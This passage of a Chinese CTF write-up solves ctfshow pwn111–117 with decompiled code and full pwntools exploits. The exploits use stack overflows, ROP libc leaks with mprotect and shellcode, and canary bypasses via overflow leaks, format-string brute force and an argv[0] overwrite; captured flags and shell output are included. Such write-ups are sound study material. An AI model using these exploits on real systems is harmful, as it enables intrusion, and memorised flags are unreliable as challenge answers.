io = remote('pwn.challenge.ctf.show', 28298)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

io.recvuntil("1+1= ?\n")
io.sendline(str(-1))
buf_addr = int(io.recv(8),16)
print("++++++++ buf_addr:",hex(buf_addr))
payload = asm(shellcraft.sh()).ljust(0x41B+0x04,b"a") + p32(buf_addr)
io.sendline(payload)
io.interactive()

pwn111

没难度

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64bit , IDA 打开

1
2
3
4
5
6
7
8
ssize_t ctfshow()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

write(1, "Input your message:\n", 0x14uLL);
read(0, buf, 0x100uLL);
return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

存在后门函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 do_global()
{
__int64 result; // rax
char buf[9]; // [rsp+Bh] [rbp-15h] BYREF
unsigned int v2; // [rsp+14h] [rbp-Ch]
FILE *stream; // [rsp+18h] [rbp-8h]

stream = fopen("/ctfshow_flag", "r");
while ( 1 )
{
v2 = fgetc(stream);
buf[0] = v2;
result = v2;
if ( (_BYTE)v2 == 0xFF )
break;
write(1, buf, 1uLL);
}
return result;
}

非常非常非常简单的栈溢出,stackoverflow 后覆盖 ret_addr 为后门函数就可以了

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show', 28236)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

padding = 0x88
flag_addr = 0x400697
payload = b'a' * padding + p64(flag_addr)
io.sendline(payload)
io.interactive()

pwn112

满足一定条件即可

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

disassemble

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int ctfshow()
{
int result; // eax

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] != 0x11LL )
result = printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
else
result = register_tm();
}
else
{
printf("%s, Welcome!\n", var);
result = puts("Try doing something~");
}
return result;
}

值判断 var[13] != 0x11LL , 存在后门函数,解题脚本:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28295)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

payload = p32(0x11) * 14
io.recvuntil("What's your name?\n")
io.sendline(payload)
io.interactive()

pwn113

理清逻辑,题目不难。

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
char v5[1032]; // [rsp+0h] [rbp-420h] BYREF
__int64 v6; // [rsp+408h] [rbp-18h]
char v7; // [rsp+417h] [rbp-9h]
__int64 v8; // [rsp+418h] [rbp-8h]

is_detail = 0;
go(argc, argv, envp);
logo();
fwrite(">> ", 1uLL, 3uLL, _bss_start);
fflush(_bss_start);
v8 = 0LL;
while ( !feof(stdin) )
{
v7 = fgetc(stdin);
if ( v7 == 10 )
break;
v3 = v8++;
v6 = v3;
v5[v3] = v7;
}
v5[v8] = 0;
if ( (unsigned int)init(v5) )
{
qsort(files, size_of_path, 0x200uLL, cmp);
search_file_info();
}
else
{
fflush(_bss_start);
set_secommp();
}
return 0;
}

就是一个输入路径 v7 = fgetc(stdin);,然后输出输入的路径下有什么文件 if ( (unsigned int)init(v5) ) 的程序
init 做了判断,如果路径是对的,则执行 search_file_info(); , else set_secommp();
set_secommp() 是一个沙箱函数,但是此时如果输入的够多,直到 padding BUF ,然后再 else 进入沙箱函数(溢出后才执行,相当于没执行)
, 所以这个沙箱函数完全没用,直接溢出然后

  • ROPgadget 泄露 libc 地址
  • ROPgadget 写 shellcode 到 bss 段(getsehell / getflag)
  • 因为堆栈不可执行,所以 mprotect 改 bss 段的权限,跳转执行
  • ORW 拿 flag

IDA 划分的 stack 空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-0000000000000420 ; D/A/*   : change type (data/ascii/array)
-0000000000000420 ; N : rename
-0000000000000420 ; U : undefine
-0000000000000420 ; Use data definition commands to create local variables and function arguments.
-0000000000000420 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000420 ; Frame size: 420; Saved regs: 8; Purge: 0
-0000000000000420 ;
-0000000000000420
-0000000000000420 var_420 db 1032 dup(?)
-0000000000000018 var_18 dq ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 var_9 db ?
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

先泄露 libc 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28128)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so")

pop_rdi_ret_addr = 0x401ba3    # 0x0000000000401ba3 : pop rdi ; ret
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']

payload = b'a' * 0x418 + p8(0x28)  
# payload = b'a' * 0x428    
payload += p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt)
payload += p64(main_addr)
io.recvuntil(">> ")
io.sendline(payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:] + b'\x00\x00')
print("+++++++++++++ puts_addr:",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print("+++++++++++++ libc_base:",hex(libc_base))
mprotect_addr = libc_base+libc.sym["mprotect"]
print("+++++++++++++ mprotect_addr:",hex(mprotect_addr))
pause()

io.interactive()
1
2
3
4
+++++++++++++ puts_addr: 0x7f95ff2339c0
+++++++++++++ libc_base: 0x7f95ff1b3000
+++++++++++++ mprotect_addr: 0x7f95ff2ceae0
[*] Paused (press any to continue)

++++++++++++++++++++++
说实话这里不是很懂为什么一定要 b'a' * 0x418 + p8(0x28)
++++++++++++++++++++++

接下来就是要用 gets 函数获取 payload (寄存器传参,需要用 rdi)
写入数据到 data 中
.data:0000000000603000 _data segment align_32 public 'DATA' use6

1
2
3
4
5
...
io.recvuntil(">> ")
bss_addr = 0x603000
gets_addr = libc_base + libc.symbols['gets']
payload2 = b'a' * 0x418 + p8(0x28) + p64(pop_rdi_ret_addr) + p64(bss_addr) + p64(gets_addr)

接着用 mprotect 改我们向 bss 段写入的数据的权限,改为可执行即可。
+++++ 这里有一个问题: 64位操作系统传参方式为前六个参数通过寄存器传参,但是 ROPgadget 只能找到 pop_rdi_ret 的地址?
没有 rdx,rsi 的地址

1
2
3
4
❯ ROPgadget --binary ./pwn --only "pop|ret" | grep rsi
0x0000000000401ba1 : pop rsi ; pop r15 ; ret

❯ ROPgadget --binary ./pwn --only "pop|ret" | grep rdx

但是我们已经泄露出来 libc 的 base 地址了,所以可以直接去 libc 库中找 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ROPgadget --binary ./libc/libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep rsi
0x00000000001306d9 : pop rdx ; pop rsi ; ret
0x00000000000221a1 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000002155d : pop rsi ; pop r15 ; ret
0x000000000007dd2e : pop rsi ; pop rbp ; ret
0x0000000000023e6a : pop rsi ; ret

❯ ROPgadget --binary ./libc/libc6_2.27-3ubuntu1_amd64.so --only "pop|ret" | grep rdx
0x00000000001663b1 : pop rax ; pop rdx ; pop rbx ; ret
0x00000000001306b4 : pop rdx ; pop r10 ; ret
0x000000000011c65c : pop rdx ; pop rbx ; ret
0x0000000000103cc9 : pop rdx ; pop rcx ; pop rbx ; ret
0x00000000001306d9 : pop rdx ; pop rsi ; ret
0x0000000000001b96 : pop rdx ; ret
0x0000000000100972 : pop rdx ; ret 0xffff

因为是在 libc 中找的地址,是偏移地址,所以要加上基地址才是真实地址

1
2
pop_rsi_ret_addr = libc_base + 0x23e6a   # 0x0000000000023e6a : pop rsi ; ret
pop_rdx_ret_addr = libc_base + 0x1b96   # 0x0000000000001b96 : pop rdx ; ret

使用 mprotect 函数修改 bss 段权限,然后回去调用 bss_addr:

1
2
3
payload2 += p64(pop_rdi_ret_addr) + p64(bss_addr) + p64(pop_rsi_ret_addr) + p64(0x1000)
payload2 += p64(pop_rdx_ret_addr) + p64(7) + p64(mprotect_addr) + p64(bss_addr)
io.sendline(payload2)

构造 shellcode

1
2
3
4
5
6
shellcode = asm(shellcraft.cat("/flag"))
# 或者
# sh = shellcraft.readfile("/flag",2)
# shellcode = asm(sh)
io.sendline(shellcode)
io.interactive()

拿到 flag

1
2
3
4
\x00[DEBUG] Received 0x59 bytes:
b'ctfshow{542da4c9-13cd-44da-9369-f63ff73c7f07}\n'
b'timeout: the monitored command dumped core\n'
ctfshow{542da4c9-13cd-44da-9369-f63ff73c7f07}

pwn114

现在你应该学会了吧

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s1[10]; // [rsp+16h] [rbp-3FAh] BYREF
char s[1004]; // [rsp+20h] [rbp-3F0h] BYREF
int v6; // [rsp+40Ch] [rbp-4h]

init(argc, argv, envp);
logo(argc);
signal(11, sigsegv_handler);
flagishere(11LL);
while ( 1 )
{
puts("Do you know Canary now?");
puts("Input 'Yes' or 'No': ");
__isoc99_scanf("%s", s1);
if ( !strcmp(s1, "Yes") )
break;
if ( !strcmp(s1, "No") )
{
puts("I'm sorry to hear that! Come on.");
return 0;
}
puts("Invalid input, please enter again!");
}
puts("Ok,I know you got it!");
puts("Tell me you want: ");
do
v6 = getchar();
while ( v6 != '\n' && v6 != -1 );
fgets(s, 1000, stdin);
ctfshow(s);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
char *flagishere()
{
FILE *stream; // [rsp+8h] [rbp-8h]

stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
return fgets(flag, 64, stream);
}

输入300个垃圾字符莫名其妙就输出 flag 了….。呃??????

1
2
3
4
5
6
7
Do you know Canary now?
Input 'Yes' or 'No':
Yes
Ok,I know you got it!
Tell me you want:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
ctfshow{d4c94caf-d30a-458d-811b-b338c74e60d4}

pwn115

Bypass Canary 姿势1

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned int ctfshow()
{
int i; // [esp+0h] [ebp-D8h]
char buf[200]; // [esp+4h] [ebp-D4h] BYREF
unsigned int v3; // [esp+CCh] [ebp-Ch]

v3 = __readgsdword(0x14u);
for ( i = 0; i <= 1; ++i )
{
read(0, buf, 0x200u);
printf(buf);
}
return __readgsdword(0x14u) ^ v3;
}
1
2
3
4
int backdoor()
{
return system("/bin/sh");
}

IDA 划的栈空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-000000D4 buf             db ?
-000000D3 db ? ; undefined
-000000D2 db ? ; undefined
-000000D1 db ? ; undefined
-000000D0 db ? ; undefined
-000000CF db ? ; undefined
-000000CE db ? ; undefined
-000000CD db ? ; undefined
-000000CC db ? ; undefined
-000000CB db ? ; undefined
-000000CA db ? ; undefined
...
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)

return __readgsdword(0x14u) ^ v3; 很明显的检测 canary 有没有被修改,双击 v3发现紧贴着 buf
那就可以直接 padding 到 v3,泄露出 canary 的值。
然后再 padding 到 ret,改 ret_addr 为 backdoor_addr , get shell

泄露 canary

1
2
3
4
5
6
7
padding = 200
payload = b'a' * (padding - 1) + b'A'
io.recvuntil("Try Bypass Me!\n")
io.sendline(payload)
io.recvuntil('A')
canary = u32(io.recv(4))
print("+++++++++++ canary:",hex(canary))
1
+++++++++++ canary: 0x866ed80a

发现最后的0x00 变为了 0x0a ? 猜测是换行也被输出了?
修改为 canary = u32(io.recv(4)) - 0x0a 即可正常泄露

拿到 canary 后就可以直接覆盖 ret 地址,get shell

1
2
3
4
5
backdoor_addr = 0x80485A6
payload = b'a' * padding + p32(canary) + b'a' * 12 + p32(backdoor_addr)
io.send(payload)

io.interactive()

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28115)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so")

padding = 200
payload = b'a' * (padding - 1) + b'A'
io.recvuntil("Try Bypass Me!\n")
io.sendline(payload)
io.recvuntil("A")
canary = u32(io.recv(4)) - 0xa
print("+++++++++++ canary:",hex(canary))

backdoor_addr = 0x80485A6
payload = b'a' * padding + p32(canary) + b'a' * 12 + p32(backdoor_addr)
io.send(payload)

io.interactive()

也可以通过格式化字符串漏洞枚举泄露 canary 值 (暴力枚举,发现偏移55处很像 canary)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 枚举可能的canary值   一般canary都是:0x77186d00  (最后两位为00)

# from pwn import *
# import time

# context.log_level = 'error'

# for i in range(1, 100):
#     try:
#         io = remote('pwn.challenge.ctf.show', 28115)
#         io.recvuntil(b"Try Bypass Me!\n")
#         payload = f"aaaa%{i}$p".encode()
#         io.sendline(payload)
#         io.recvuntil(b"aaaa")         # changeeeeeeeeeeeeeeeeeeeeeee
       
#         resp = io.recvline(timeout=1).strip()
#         try:
#             decoded = resp.decode()
#             print(f"[{i}] => {decoded}")
#             if decoded.startswith("0x") and "00" in decoded[2:]:
#                 print(f"[*] Potential Canary at position {i}: {decoded}")
#         except Exception:
#             print(f"[{i}] => {resp.hex()} (raw bytes)")

#         io.close()
#         time.sleep(0.1)

#     except EOFError:
#         print(f"[{i}] => Connection closed unexpectedly (EOFError)")
#     except Exception as e:
#         print(f"[{i}] => Other Error: {e}")




# --------------- 验证 ------------------

from pwn import *
import time
context.log_level = 'error'

for i in range(1, 11):
    may_canary_num = 55     # changeeeeeeeeeeeeeeeeeeeeeee
    io = remote('pwn.challenge.ctf.show', 28115)
    io.recvuntil(b"Try Bypass Me!\n")
    payload = f"aaaa%{may_canary_num}$p".encode()
    io.sendline(payload)
    io.recvuntil(b"aaaa")        
   
    resp = io.recvline(timeout=1).strip()
    try:
        decoded = resp.decode()
        print(f"[{i}] => {decoded}")
    except Exception:
        print(f"[{i}] => {resp.hex()} (raw bytes)")

io.close()
time.sleep(0.1)
1
2
3
4
5
6
7
8
9
10
11
❯ python3 ../../scripts/canary_crack.py
[1] => 0x2605f00
[2] => 0x44a0c500
[3] => 0xbd24ca00
[4] => 0x762bfc00
[5] => 0xd8b2d400
[6] => 0x56506600
[7] => 0x13619d00
[8] => 0xc628f900
[9] => 0x1e04f500
[10] => 0x30652500

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28214)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so")

payload = b'%55$p'
io.recvuntil("Try Bypass Me!\n")
io.sendline(payload)
canary = eval(io.recvline().strip())
print("+++++++++++ canary:",hex(canary))

backdoor_addr = 0x80485A6
payload = b'a' * 200 + p32(canary) + b'a' * 12 + p32(backdoor_addr)
io.send(payload)

io.interactive()

pwn116

Bypass Canary 姿势2

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
unsigned int ctfshow()
{
char buf[32]; // [esp+Ch] [ebp-2Ch] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
puts("Look me & use me!");
read(0, buf, 0x50u);
printf(buf);
read(0, buf, 0x50u);
return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
int qwerasd()
{
return system("/bin/sh");
}

printf(buf) 格式化字符串漏洞并且存在后门函数,先泄露 canary
用脚本枚举可能的 canary

1
2
3
4
5
6
7
8
❯ python3 ./scripts/canary_crack.py
...
[13] => (nil)
[14] => 0x2
[15] => 0x682a8e00
[*] Potential Canary at position 15: 0x682a8e00
[16] => 0x1
...

看到第十五位偏移很像,再次验证:

1
2
3
4
5
6
7
8
9
10
11
❯ python3 ./scripts/canary_crack.py
[1] => 0xa70e000
[2] => 0x85a12e00
[3] => 0xf215e300
[4] => 0xf5505600
[5] => 0xa68ac700
[6] => 0x7b022200
[7] => 0xd32eee00
[8] => 0xd81a1e00
[9] => 0x8c1efc00
[10] => 0x79740900

确定15处偏移很大概率就是 canary ,尝试打一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28196)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so")

io.recvuntil("Look me & use me!\n")
payload= b'%15$p'
io.sendline(payload)
canary = eval(io.recvline().strip())
print("++++++++++++++ canary:",hex(canary))
shell_addr = 0x8048586
payload = b'a' * 32 + p32(canary) + b'a' * 12 + p32(shell_addr)
io.sendline(payload)
io.interactive()
1
2
3
4
5
6
7
[*] Switching to interactive mode
\xfb\xf7$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x1e bytes:
b'uid=1000 gid=1000 groups=1000\n'
uid=1000 gid=1000 groups=1000

pwn117

Bypass Canary 姿势3

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/CTFSHOW/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+2Ch] [rbp-114h]
char v5[264]; // [rsp+30h] [rbp-110h] BYREF
unsigned __int64 v6; // [rsp+138h] [rbp-8h]

v6 = __readfsqword(0x28u);
logo();
init();
fd = open("/flag", 0);
if ( !fd )
{
puts("No such file or directory.");
exit(-1);
}
read(fd, &buf, 0x100uLL);
puts("Haha,It has reduced you a lot of difficulty!");
gets((__int64)v5);
return 0;
}

flag 打开并 read 到了 buf 地址中去, gets 存在缓冲区溢出漏洞。

++++++++++++++++ canary 检测失败时会调⽤stack_chk_fail 函数, 输出⼀段报错

1
call    ___stack_chk_fail

stack_chk_fail()函数定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminatedn",
msg, __libc_argv[0] ?: "<unknown>");
}

报错会输出⽂件名,覆盖⽂件名指针,从⽽实现任意读,也就是覆盖变量__libc_argv[0]
这样我们就可以在 canary 检测失败时,输出我们想要的 flag 值

所以我们要找 argv[0] 的位置:
找文件名和输入 aaaa 处的位置 , 直接 padding 然后就可以导致泄露 flag

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote('pwn.challenge.ctf.show',28180)
# io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc/libc6_2.27-3ubuntu1_amd64.so")

buf_addr = 0x6020A0
payload = b'a' * 504 + p64(buf_addr)
io.sendline(payload)
io.interactive()
1
*** stack smashing detected ***: ctfshow{a5a7831a-9693-42d3-b82c-0d0741678368}

(还会持续更新…..)